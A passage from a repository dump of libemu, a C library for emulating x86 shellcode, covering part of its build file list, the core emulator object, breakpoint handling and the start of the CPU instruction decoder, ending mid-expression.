functions/sal.c\nlibemu_la_SOURCES += functions/sar.c\nlibemu_la_SOURCES += functions/sbb.c\nlibemu_la_SOURCES += functions/scas.c\nlibemu_la_SOURCES += functions/shr.c\nlibemu_la_SOURCES += functions/stoscc.c\nlibemu_la_SOURCES += functions/sub.c\nlibemu_la_SOURCES += functions/test.c\nlibemu_la_SOURCES += functions/xchg.c\nlibemu_la_SOURCES += functions/xor.c\n\nlibemu_la_SOURCES += libdasm.c libdasm.h opcode_tables.h\n\nlibemu_la_SOURCES += environment/emu_env.c\nlibemu_la_SOURCES += environment/emu_profile.c\nlibemu_la_SOURCES += environment/win32/emu_env_w32.c\nlibemu_la_SOURCES += environment/win32/emu_env_w32_dll.c\nlibemu_la_SOURCES += environment/win32/emu_env_w32_dll_export.c\nlibemu_la_SOURCES += environment/win32/env_w32_dll_export_kernel32_hooks.c\nlibemu_la_SOURCES += environment/win32/env_w32_dll_export_urlmon_hooks.c\nlibemu_la_SOURCES += environment/win32/env_w32_dll_export_ws2_32_hooks.c\nlibemu_la_SOURCES += environment/win32/env_w32_dll_export_msvcrt_hooks.c\nlibemu_la_SOURCES += environment/win32/env_w32_dll_export_shell32_hooks.c\nlibemu_la_SOURCES += environment/win32/env_w32_dll_export_shdocvw_hooks.c\n\nlibemu_la_SOURCES += environment/linux/emu_env_linux.c\nlibemu_la_SOURCES += environment/linux/env_linux_syscall_hooks.c\n\n\nlibemu_la_LDFLAGS = -no-undefined -version-info @libemu_soname@ -export-symbols-regex \"^emu_\"\n"
  },
  {
    "path": "src/emu.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <string.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <stdarg.h>\n\n#include \"emu/emu.h\"\n#include \"emu/emu_log.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_cpu.h\"\n\nstruct emu\n{\n\tstruct emu_logging *log;\n\tstruct emu_memory *memory; \n\tstruct emu_cpu *cpu;\n\n\tint \terrno;\n\tchar \t*errorstr;\n};\n\n\nstruct emu *emu_new(void)\n{\n\tstruct emu *e = (struct emu *)malloc(sizeof(struct emu));\n\tif( e == NULL )\n\t{\n\t\treturn NULL;\n\t}\n\tmemset(e, 0, sizeof(struct emu));\n\te->log = emu_log_new();\n\te->memory = emu_memory_new(e);\n\tif( e->memory == NULL )\n\t{\n\t\treturn NULL;\n\t}\n\te->cpu = emu_cpu_new(e);\n\tlogDebug(e,\"%s %x\\n\", __PRETTY_FUNCTION__,(unsigned int)e);\n\treturn e;\n}\n\n\nvoid emu_free(struct emu *e)\n{\n\tlogDebug(e,\"%s %x\\n\", __PRETTY_FUNCTION__,(unsigned int)e);\n\temu_cpu_free(e->cpu);\n\temu_memory_free(e->memory);\n\temu_log_free(e->log);\n\tif (e->errorstr != NULL)\n\t\tfree(e->errorstr);\n\n\tfree(e);\n}\n\ninline struct emu_memory *emu_memory_get(struct emu *e)\n{\n\treturn e->memory;\n}\n\ninline struct emu_logging *emu_logging_get(struct emu *e)\n{\n\treturn e->log;\n}\n\ninline struct emu_cpu *emu_cpu_get(struct emu *e)\n{\n\treturn e->cpu;\n}\n\n\n\nvoid emu_errno_set(struct emu *e, int err)\n{\n\te->errno = err;\n}\n\nint emu_errno(struct emu *c)\n{\n\treturn c->errno;\n}\n\nvoid emu_strerror_set(struct emu *e, const char *format, ...)\n{\n\tif (e->errorstr != NULL)\n    \tfree(e->errorstr);\n\n\tva_list         ap;\n\tchar            *message;\n\tva_start(ap, format);\n\tint va = vasprintf(&message, format, ap);\n\tva_end(ap);\n\n\tif (va == -1)\n\t\treturn;\n\n\te->errorstr = message;\n}\n\nconst char *emu_strerror(struct emu *e)\n{\n\treturn e->errorstr;\n}\n\n"
  },
  {
    "path": "src/emu_breakpoint.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n \n#include <inttypes.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"emu/emu_breakpoint.h\"\n#include \"emu/emu_memory.h\"\n\n\nstruct emu_breakpoint\n{\n\tstruct emu_memory *mem;\n\tstruct emu_breakpoint *next;\n\tuint32_t addr;\n\tuint8_t access;\n\temu_bp_resp response;\n\temu_bp_cond condition; \n};\n \n \nstruct emu_breakpoint *emu_breakpoint_alloc(struct emu_memory *mem)\n{\n\tstruct emu_breakpoint *bp = malloc(sizeof(struct emu_breakpoint));\n\tif(bp == NULL) {\n\t\treturn NULL;\n\t}\n\t\n\tmemset(bp, 0x00, sizeof(struct emu_breakpoint));\n\t\n\tbp->mem = mem;\n\treturn bp;\n}\n\nvoid emu_breakpoint_free(struct emu_breakpoint *bp)\n{\n\t/* TODO: Free all the bp_items */\n\tfree(bp);\n\t\n\treturn;\n}\n \nvoid emu_breakpoint_set(struct emu_memory *m, uint32_t addr, uint8_t access, emu_bp_resp response)\n{\n\temu_breakpoint_conditional_set(m, addr, access, response, NULL);\n\t\n\treturn;\n}\n\nvoid emu_breakpoint_conditional_set(struct emu_memory *m, uint32_t addr, uint8_t access, emu_bp_resp response, emu_bp_cond condition)\n{\n\tstruct emu_breakpoint *item = emu_memory_get_breakpoint(m);\n\tstruct emu_breakpoint *new_item = emu_breakpoint_alloc(m);\n\tif(new_item == NULL) {\n\t\t/* TODO: Something is wrong */\n\t\treturn;\n\t}\n\t\n\t\n\tnew_item->addr = addr;\n\tnew_item->access = access;\n\tnew_item->response = response;\n\tnew_item->condition = condition;\n\t\n\twhile(item->next != NULL) {\n\t\titem = item->next;\n\t}\n\titem->next = new_item;\n\t\n\treturn;\n}\n\nstruct emu_breakpoint *emu_breakpoint_get(struct emu_memory *m, uint32_t addr)\n{\n\tstruct emu_breakpoint *item = emu_memory_get_breakpoint(m);\n\t\t\n\twhile(item != NULL) {\n\t\tif(item->addr == addr) {\n\t\t\treturn item;\n\t\t}\n\t\titem = item->next;\n\t}\n\treturn NULL;\n}\n\nvoid emu_breakpoint_check(struct emu_memory *m, uint32_t addr, uint8_t access)\n{\n\tstruct emu_breakpoint *bp = emu_breakpoint_get(m, addr);\n \n \tif(bp == NULL) {\n \t\t/* No Breakpoint at given addrs */\n \t\treturn;\n\t}\n\t\n\tif(bp->condition != NULL) {\n\t\tif(!(*bp->condition)(emu_memory_get_emu(m))) {\n\t\t\treturn;\n\t\t}\n\t}\n\t\n\tif((bp->access & access) == access) {\n\t\t(*bp->response)(emu_memory_get_emu(m));\n\t}\n\treturn;\n}\n\nvoid emu_breakpoint_remove(struct emu_memory *m, uint32_t addr)\n{\n\tstruct emu_breakpoint *item_current = emu_memory_get_breakpoint(m);\n\tstruct emu_breakpoint *item_previous = NULL;\n\t\n\t\t\n\twhile(item_current != NULL) {\n\t\tif(item_current->addr == addr) {\n\t\t\tif(item_previous == NULL) {\n\t\t\t\titem_previous = item_current;\n\t\t\t\titem_current = item_current->next;\n\t\t\t\temu_breakpoint_free(item_previous);\n\t\t\t} else {\n\t\t\t\titem_previous->next = item_current->next;\n\t\t\t\temu_breakpoint_free(item_current);\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\t\titem_previous = item_current;\n\t\titem_current = item_current->next;\n\t}\n\treturn; \n}\n"
  },
  {
    "path": "src/emu_cpu.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <errno.h>\n#include <stdint.h>\n#include <stdbool.h>\n\n#include \"../config.h\"\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu.h\"\n#include \"emu/emu_log.h\"\n#include \"emu/emu_breakpoint.h\"\n\nstatic const char *regm[] = {\n\t\"eax\", \"ecx\", \"edx\", \"ebx\", \"esp\", \"ebp\", \"esi\", \"edi\"\n};\n\nstatic uint8_t scalem[] = {\n\t1, 2, 4, 8\n};\n\n\t                      /* 0     1     2     3      4       5       6     7 */\n   const char *eflagm[] = { \"CF\", \"  \", \"PF\", \"  \" , \"AF\"  , \"    \", \"ZF\", \"SF\", \n\t                        \"TF\", \"IF\", \"DF\", \"OF\" , \"IOPL\", \"IOPL\", \"NT\", \"  \",\n\t                        \"RF\", \"VM\", \"AC\", \"VIF\", \"RIP\" , \"ID\"  , \"  \", \"  \",\n\t                        \"  \", \"  \", \"  \", \"   \", \"    \", \"    \", \"  \", \"  \"};\n\n\nstatic uint16_t prefix_map[0x100];\n\n#include \"emu/emu_cpu_itables.h\"\n\nstatic void init_prefix_map(void)\n{\n\tprefix_map[0x26] = PREFIX_ES_OVR;\n\tprefix_map[0x2e] = PREFIX_CS_OVR;\n\tprefix_map[0x36] = PREFIX_SS_OVR;\n\tprefix_map[0x3e] = PREFIX_DS_OVR;\n\tprefix_map[0x64] = PREFIX_FS_OVR;\n\tprefix_map[0x65] = PREFIX_GS_OVR;\n\tprefix_map[0x66] = PREFIX_OPSIZE;\n\tprefix_map[0x67] = PREFIX_ADSIZE;\n\tprefix_map[0xf0] = PREFIX_LOCK;\n\tprefix_map[0xf2] = PREFIX_F2;\n\tprefix_map[0xf3] = PREFIX_F3;\n}\n\nstruct emu_cpu *emu_cpu_new(struct emu *e)\n{\n\tstruct emu_cpu *c = (struct emu_cpu *)malloc(sizeof(struct emu_cpu));\n\t\n\tif( c == NULL )\n\t{\n\t\treturn NULL;\n\t}\n\t\n\tmemset((void *)c, 0, sizeof(struct emu_cpu));\n\t\n\tc->emu = e;\n\tc->mem = emu_memory_get(e);\n\n\tint i = 1;\n\n\tif( *((uint8_t *)&i) == 1 )\n\t{\n\t\tlogDebug(e,\"little endian\\n\");\n\n\t\tfor( i = 0; i < 8; i++ )\n\t\t{\n\t\t\tc->reg16[i] = (uint16_t *)&c->reg[i];\n\n\t\t\tif( i < 4 )\n\t\t\t{\n\t\t\t\tc->reg8[i] = (uint8_t *)&c->reg[i];\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tc->reg8[i] = (uint8_t *)&c->reg[i & 3] + 1;\n\t\t\t}\n\t\t}\n\n\t\tc->instr.cpu.imm16 = (uint16_t *)((void *)&c->instr.cpu.imm);\n\t\tc->instr.cpu.imm8 = (uint8_t *)&c->instr.cpu.imm;\n\n\t}\n\telse\n\t{\n\t\tlogDebug(e,\"big endian\\n\");\n\n\t\tfor( i = 0; i < 8; i++ )\n\t\t{\n\t\t\tc->reg16[i] = (uint16_t *)&c->reg[i] + 1;\n\n\t\t\tif( i < 4 )\n\t\t\t{\n\t\t\t\tc->reg8[i] = (uint8_t *)&c->reg[i] + 3;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tc->reg8[i] = (uint8_t *)&c->reg[i & 3] + 2;\n\t\t\t}\n\t\t}\n\n\t\tc->instr.cpu.imm16 = (uint16_t *)((void *)&c->instr.cpu.imm + 1);\n\t\tc->instr.cpu.imm8 = (uint8_t *)&c->instr.cpu.imm + 3;\n\n\t}\n\n\tc->instr_string = (char *)malloc(92);\n\tc->repeat_current_instr = false;\n\tinit_prefix_map();\n\t\n\treturn c;\n}\n\ninline uint32_t emu_cpu_reg32_get(struct emu_cpu *cpu_p, enum emu_reg32 reg)\n{\n\treturn cpu_p->reg[reg];\n}\n\ninline void  emu_cpu_reg32_set(struct emu_cpu *cpu_p, enum emu_reg32 reg, uint32_t val)\n{\n\tcpu_p->reg[reg] = val;\n}\n\ninline uint16_t emu_cpu_reg16_get(struct emu_cpu *cpu_p, enum emu_reg16 reg)\n{\n\treturn *cpu_p->reg16[reg];\n}\n\ninline void emu_cpu_reg16_set(struct emu_cpu *cpu_p, enum emu_reg16 reg, uint16_t val)\n{\n\t*cpu_p->reg16[reg] = val; \n}\n\ninline uint8_t emu_cpu_reg8_get(struct emu_cpu *cpu_p, enum emu_reg8 reg)\n{\n\treturn *cpu_p->reg8[reg];\n}\n\n\ninline void emu_cpu_reg8_set(struct emu_cpu *cpu_p, enum emu_reg8 reg, uint8_t val)\n{\n\t*cpu_p->reg8[reg] = val;\n}\n\nuint32_t emu_cpu_eflags_get(struct emu_cpu *c)\n{\n\treturn c->eflags;\n}\n\nvoid emu_cpu_eflags_set(struct emu_cpu *c, uint32_t val)\n{\n\tc->eflags = val;\n}\n\nvoid emu_cpu_eip_set(struct emu_cpu *c, uint32_t val)\n{\n\tc->eip = val;\n\tc->repeat_current_instr = false;\n}\n\nuint32_t emu_cpu_eip_get(struct emu_cpu *c)\n{\n\treturn c->eip;\n}\n\nvoid emu_cpu_free(struct emu_cpu *c)\n{\n\tfree(c->instr_string);\n\tfree(c);\n}\n\nvoid emu_cpu_debug_print(struct emu_cpu *c)\n{\n\tlogDebug(c->emu,\"cpu state    eip=0x%08x\\n\", c->eip);\n\tlogDebug(c->emu,\"eax=0x%08x  ecx=0x%08x  edx=0x%08x  ebx=0x%08x\\n\", c->reg[eax], c->reg[ecx], c->reg[edx], c->reg[ebx]);\n\tlogDebug(c->emu,\"esp=0x%08x  ebp=0x%08x  esi=0x%08x  edi=0x%08x\\n\", c->reg[esp], c->reg[ebp], c->reg[esi], c->reg[edi]);\n\n\n\tchar *fmsg;\n\tfmsg = (char *)malloc(32*3+1);\n\tmemset(fmsg, 0, 32*3+1);\n\tint i;\n\tfor ( i=0;i<32;i++ )\n\t{\n\t\tif ( CPU_FLAG_ISSET(c, i) )\n\t\t{\n\t\t\tstrcat(fmsg, eflagm[i]);\n\t\t\tstrcat(fmsg,\" \");\n\t\t}\n\t}\n\tlogDebug(c->emu,\"Flags: %s\\n\", fmsg);\n\tfree(fmsg);\n\n\treturn;\n\n\n\n\n\tfor (i=0; i<8; i++)\n\t{\n\t\tprintf(\"%08x \",c->reg[esp] + i * 4);\n\t}\n\tprintf(\"\\n\");\n\n\tfor (i=0; i<8; i++)\n\t{\n\t\tuint32_t d;\n\t\temu_memory_read_dword(c->mem, c->reg[esp] + i * 4,  &d);\n\t\tprintf(\"%08x \",d);\n\t}\n\tprintf(\"\\n\");\n\t\n}\n\nvoid debug_instruction(struct emu_instruction *ei)\n{\n\tstruct emu_cpu_instruction *i = &ei->cpu;\n\tstruct emu_cpu_instruction_info *ii;\n\t\n\tif( i->opc == 0x0f )\n\t\tii = &ii_twobyte[i->opc_2nd];\n\telse\n\t\tii = &ii_onebyte[i->opc];\n\t\n\tprintf(\"%s \", ii->name);\n\t\n\tif( ii->format.modrm_byte != 0 )\n\t{\n\t\tif( ii->format.modrm_byte == II_XX_YYY_REG )\n\t\t{\t\n\t\t\tprintf(\"%s\", regm[i->modrm.reg]);\n\t\t}\n\t\telse if( ii->format.modrm_byte == II_XX_REG1_REG2 )\n\t\t{\n\t\t\tprintf(\"%s,%s\", regm[i->modrm.reg1], regm[i->modrm.reg2]);\n\t\t}\n\t\telse if( ii->format.modrm_byte == II_MOD_REG_RM ||\n\t\t\tii->format.modrm_byte == II_MOD_YYY_RM )\n\t\t{\n\t\t\tif( ii->format.modrm_byte == II_MOD_REG_RM )\n\t\t\t{\n\t\t\t\tprintf(\"%s,\", regm[i->modrm.opc]);\n\t\t\t}\n\t\t\t\n\t\t\tif( i->modrm.mod == 3 )\n\t\t\t{\n\t\t\t\tprintf(\"%s\", regm[i->modrm.rm]);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tprintf(\"[\");\n\t\t\t\t\n\t\t\t\tif( i->modrm.rm != 4 && !(i->modrm.mod == 0 && i->modrm.rm == 5) )\n\t\t\t\t\tprintf(\"%s\", regm[i->modrm.rm]);\n\t\t\t\t\n\t\t\t\tif( i->modrm.rm == 4 ) /* sib? */\n\t\t\t\t{\n\t\t\t\t\tif( i->modrm.sib.base != 5 )\n\t\t\t\t\t{\n\t\t\t\t\t\tprintf(\"%s\", regm[i->modrm.sib.base]);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif( i->modrm.mod != 0 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tprintf(\"%s\", regm[ebp]);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif( i->modrm.sib.index != 4 )\n\t\t\t\t\t{\n\t\t\t\t\t\tprintf(\"+%s\", regm[i->modrm.sib.index]);\n\t\t\t\t\t\t\n\t\t\t\t\t\tif( i->modrm.sib.scale > 0 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tprintf(\"*%d\", scalem[i->modrm.sib.scale]);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif( i->modrm.mod == 1 ) /* disp8 */\n\t\t\t\t{\n\t\t\t\t\tprintf(\"+0x%02x\", i->modrm.disp.s8);\n\t\t\t\t}\n\t\t\t\telse if( i->modrm.mod == 2 ) /* disp32 */\n\t\t\t\t{\n\t\t\t\t\tprintf(\"+0x%08x\", i->modrm.disp.s32);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tprintf(\"]\");\n\t\t\t\t\n\t\t\t\tprintf(\" (ea=0x%08x)\", i->modrm.ea);\n\t\t\t}\n\t\t}\n\t}\n\t\n\tif( ii->format.imm_data != 0 )\n\t{\n\t}\n\tprintf(\"\\n\");\n\n//\treturn;\n\n\tif (ei->is_fpu)\n\t\treturn;\n\n//\tprintf(\"%s\\n\",\n\n\tint j;\n\n\tbool trace_eflag_need = false;\n\tbool trace_eflag_init = false;\n\tbool trace_reg_need = false;\n\tbool trace_reg_init = false;\n\n\tfor (j=0;j<8;j++)\n\t{\n\t\tif (ei->track.need.reg[j] != 0)\n\t\t\ttrace_reg_need = true;\n\n\t\tif ( ei->track.need.eflags & 1 << j)\n\t\t\ttrace_eflag_need = true;\n\n\t\tif (ei->track.init.reg[j] != 0)\n\t\t\ttrace_reg_init = true;\n\n\t\tif ( ei->track.init.eflags & 1 << j)\n\t\t\ttrace_eflag_init = true;\n\n\t}\n\n\tif ( trace_eflag_need ||  trace_reg_need )\n\t{\n\n\n\t\tprintf(\"\\ttrace:\\n\");\n\n\t\tif ( trace_eflag_need || trace_reg_need )\n\t\t\tprintf(\"\\t\\tneeds \\n\");\n\n\t\tif ( trace_reg_need )\n\t\t{\n\t\t\tprintf(\"\\t\\t\\t reg  \");\n\t\t\tfor ( j=0;j<8;j++ )\n\t\t\t{\n\t\t\t\tif ( ei->track.need.reg[j] != 0 )\n\t\t\t\t\tprintf(\"%s \", regm[j]);\n\n\t\t\t}\n\t\t\tprintf(\"\\n\");\n\t\t}\n\n\t\tif ( trace_eflag_need )\n\t\t{\n\t\t\tprintf(\"\\t\\t\\t eflag \");\n\t\t\tfor ( j=0;j<8;j++ )\n\t\t\t{\n\t\t\t\tif ( ei->track.need.eflags & 1 << j )\n\t\t\t\t\tprintf(\"%s \", eflagm[j]);\n\n\t\t\t}\n\t\t\tprintf(\"\\n\");\n\t\t}\n\t}\n\n\tif ( trace_eflag_init || trace_reg_init )\n\t\tprintf(\"\\t\\tinits \\n\");\n\n\n\tif ( trace_reg_init )\n\t{\n\t\tprintf(\"\\t\\t\\t reg \");\n\t\tfor ( j=0;j<8;j++ )\n\t\t{\n\t\t\tif ( ei->track.init.reg[j] != 0 )\n\t\t\t\tprintf(\"%s \", regm[j]);\n\n\t\t}\n\t\tprintf(\"\\n\");\n\t}\n\n\tif ( trace_eflag_init )\n\t{\n\t\tprintf(\"\\t\\t\\t eflag \");\n\t\tfor ( j=0;j<8;j++ )\n\t\t{\n\t\t\tif ( ei->track.init.eflags & 1 << j )\n\t\t\t\tprintf(\"%s \", eflagm[j]);\n\n\t\t}\n\t\tprintf(\"\\n\");\n\t}\n\n\tprintf(\"\\tsource:\\n\");\n\tprintf(\"\\t\\tnormal pos 0x%08x\\n\", ei->source.norm_pos);\n\tif (ei->source.has_cond_pos == 1)\n    \tprintf(\"\\t\\tcond pos 0x%08x\\n\", ei->source.cond_pos);\n\t\n\n}\n\n#undef PREFIX_LOCK\n\n#include \"libdasm.h\"\nuint32_t dasm_print_instruction(uint32_t eip, uint8_t *data, uint32_t size, char *str)\n{\n\tINSTRUCTION inst;\n\n\t// step 2: fetch instruction-\n\tuint32_t instrsize = get_instruction(&inst, data, MODE_32);\n\tif( instrsize == 0 )\n\t{\n//\t\tprintf(\"invalid instruction\\n\");\n\t\treturn 0;\n\t}\n\n#ifdef DEBUG\n\tstr[81] = '\\0';\n\tmemset(str, 0x20, 81);\n\n\tint i; \n\tfor (i=0;i<instrsize;i++)\n\t{\n\t\tsnprintf(str+i*2, 36-2*i, \"%02X\", data[i]);\n\t}\n\tmemset(str+strlen(str), 0x20, 81-strlen(str));\n\n\n\n\t// step 3: print it\n\tget_instruction_string(&inst, FORMAT_INTEL, 0, str+32, 31);\n#endif // DEBUG\n\n\treturn instrsize;\n}\n\nint32_t emu_cpu_parse(struct emu_cpu *c)\n{\n\tif (c->repeat_current_instr == true)\n\t{\n\t\treturn 0;\n\t}\n\n\t/* TODO make unstatic for threadsafety */\n\tuint8_t byte;\n\tuint8_t *opcode;\n\tuint32_t ret;\n\t\n\tc->instr.prefixes = 0;\n\t\n\t\n//\tlogDebug(c->emu,\"decoding\\n\");\n//\temu_cpu_debug_print(c);\n\n\tuint8_t dis[32];\n\temu_memory_read_block(c->mem,c->eip,dis,32);\n\temu_breakpoint_check(c->mem,c->eip, EMU_ACCESS_EXECUTE);\n\n\tuint32_t expected_instr_size = 0;\n\tif( CPU_DEBUG_FLAG_ISSET(c, instruction_string ) || CPU_DEBUG_FLAG_ISSET(c, instruction_size ) )\n\t{\n\t\texpected_instr_size = dasm_print_instruction(c->eip,dis,0,c->instr_string);\n\t}\n\n\tuint32_t eip_before = c->eip;\n\tuint32_t eip_after = 0;\n\n\n\t/* reset the instruction source and track infos, maybe move to a fn and call the fn instead? */\n\n\tc->instr.source.has_cond_pos = 0;\n\n\tc->instr.track.init.eflags = 0;\n\tmemset(c->instr.track.init.reg, 0, sizeof(uint32_t) * 8);\n\tc->instr.track.init.fpu = 0;\n\n\tc->instr.track.need.eflags = 0;\n\tmemset(c->instr.track.need.reg, 0, sizeof(uint32_t) * 8);\n\tc->instr.track.need.fpu = 0;\n\n\n\twhile( 1 )\n\t{\n\t\tret = emu_memory_read_byte(c->mem, c->eip++, &byte);\n\t\t\n\t\tif( ret != 0 )\n\t\t\treturn ret;\n\t\t\n\t\tc->cpu_instr_info = &ii_onebyte[byte];\n\t\n\t\tif( c->cpu_instr_info->function == prefix_fn )\n\t\t{\n\t\t\tc->instr.prefixes |= prefix_map[byte];\n\t\t\tcontinue;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tc->instr.opc = byte;\n\t\t\tif( c->cpu_instr_info->format.fpu_info == 0 )\n\t\t\t{\n\t\t\t\tc->instr.is_fpu = 0;\n\t\t\t\tc->instr.cpu.opc = c->instr.opc;\n\t\t\t\tc->instr.cpu.prefixes = c->instr.prefixes;\n\t\t\t\t\n\t\t\t\tif( c->instr.cpu.opc == 0x0f )\n\t\t\t\t{\n\t\t\t\t\tret = emu_memory_read_byte(c->mem, c->eip++, &byte);\n\t\t\t\n\t\t\t\t\tif( ret != 0 )\n\t\t\t\t\t\treturn ret;\n\t\t\t\t\t\t\n\t\t\t\t\tc->instr.cpu.opc_2nd = byte;\n\t\t\t\t\topcode = &c->instr.cpu.opc_2nd;\n\t\t\t\t\tc->cpu_instr_info = &ii_twobyte[byte];\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\topcode = &c->instr.cpu.opc;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif ( c->cpu_instr_info->function == 0 )\n\t\t\t\t{\n\t\t\t\t\temu_strerror_set(c->emu,\"opcode %02x not supported\\n\", c->instr.cpu.opc);\n\t\t\t\t\temu_errno_set(c->emu, EOPNOTSUPP);\n/*\t\t\t\t\tint y=0;\n\t\t\t\t\tfor (y=0;y<expected_instr_size;y++)\n\t\t\t\t\t{\n\t\t\t\t\t\tprintf(\"%02x \", dis[y]);\n\t\t\t\t\t}\n\t\t\t\t\tprintf(\"\\n\");\n*/\n\t\t\t\t\treturn -1;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tc->instr.cpu.w_bit = *opcode & 1;\n\t\t\t\tc->instr.cpu.s_bit = (*opcode >> 1) & 1;\n\t\n\t\t\t\t/* mod r/m byte?  sib/disp */\n\t\t\t\tif( c->cpu_instr_info->format.modrm_byte != 0 )\n\t\t\t\t{\n\t\t\t\t\tret = emu_memory_read_byte(c->mem, c->eip++, &byte);\n\t\t\t\n\t\t\t\t\tif( ret != 0 )\n\t\t\t\t\t\treturn ret;\n\t\t\t\t\t\t\n\t\t\t\t\tc->instr.cpu.modrm.mod = MODRM_MOD(byte);\n\t\t\t\t\tc->instr.cpu.modrm.opc = MODRM_REGOPC(byte);\n\t\t\t\t\tc->instr.cpu.modrm.rm = MODRM_RM(byte);\n\t\t\t\t\t\n\t\t\t\t\tif( c->cpu_instr_info->format.modrm_byte == II_MOD_REG_RM || c->cpu_instr_info->format.modrm_byte == II_MOD_YYY_RM ||\n\t\t\t\t\t\tc->cpu_instr_info->format.modrm_byte == II_XX_REG1_REG2) /* cases with possible sib/disp*/\n\t\t\t\t\t{\n\t\t\t\t\t\tif( c->instr.cpu.modrm.mod != 3 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif( c->instr.cpu.modrm.rm != 4 && !(c->instr.cpu.modrm.mod == 0 && c->instr.cpu.modrm.rm == 5) )\n\t\t\t\t\t\t\t{\n                                c->instr.cpu.modrm.ea = c->reg[c->instr.cpu.modrm.rm];\n\t\t\t\t\t\t\t\tTRACK_NEED_REG32(c->instr, c->instr.cpu.modrm.rm);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tc->instr.cpu.modrm.ea = 0;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif( c->instr.cpu.modrm.rm == 4 ) /* sib byte present */\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tret = emu_memory_read_byte(c->mem, c->eip++, &byte);\n\t\t\t\n\t\t\t\t\t\t\t\tif( ret != 0 )\n\t\t\t\t\t\t\t\t\treturn ret;\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tc->instr.cpu.modrm.sib.base = SIB_BASE(byte);\n\t\t\t\t\t\t\t\tc->instr.cpu.modrm.sib.scale = SIB_SCALE(byte);\n\t\t\t\t\t\t\t\tc->instr.cpu.modrm.sib.index = SIB_INDEX(byte);\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif( c->instr.cpu.modrm.sib.base != 5 )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tc->instr.cpu.modrm.ea += c->reg[c->instr.cpu.modrm.sib.base];\n\t\t\t\t\t\t\t\t\tTRACK_NEED_REG32(c->instr, c->instr.cpu.modrm.sib.base);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse if( c->instr.cpu.modrm.mod != 0 )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tc->instr.cpu.modrm.ea += c->reg[ebp];\n\t\t\t\t\t\t\t\t\tTRACK_NEED_REG32(c->instr, ebp);\n\t\t\t\t\t\t\t\t}\n\t\n\t\t\t\t\t\t\t\tif( c->instr.cpu.modrm.sib.index != 4 )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tc->instr.cpu.modrm.ea += c->reg[c->instr.cpu.modrm.sib.index] * scalem[c->instr.cpu.modrm.sib.scale];\n\t\t\t\t\t\t\t\t\tTRACK_NEED_REG32(c->instr, 